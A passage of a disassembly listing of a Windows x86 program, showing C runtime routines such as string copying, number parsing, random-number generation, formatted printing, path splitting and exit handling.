loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43C504, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43C504, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A29C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB2C0, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
call near ptr 27005E0h
nop
push eax
nop
call near ptr 26F0AA8h
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB2BC, edi
mov byte_4DB2B8, bl
jnz short loc_41B844
mov eax, dword_4DC91C
test eax, eax
jz short loc_41B833
mov ecx, dword_4DC918
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DC91C
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB2C0, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A280, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A280
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A280, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C72p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DC7E1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep
; sub_401ACD+75ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43C504, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43C504, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43C504, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C2F8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB278, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp
; sub_401ACD+6A0Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 2670603h
nop
test eax, eax
jnz short loc_41BDF2
call near ptr 2670D70h
nop
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p
; ___:00411CA1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
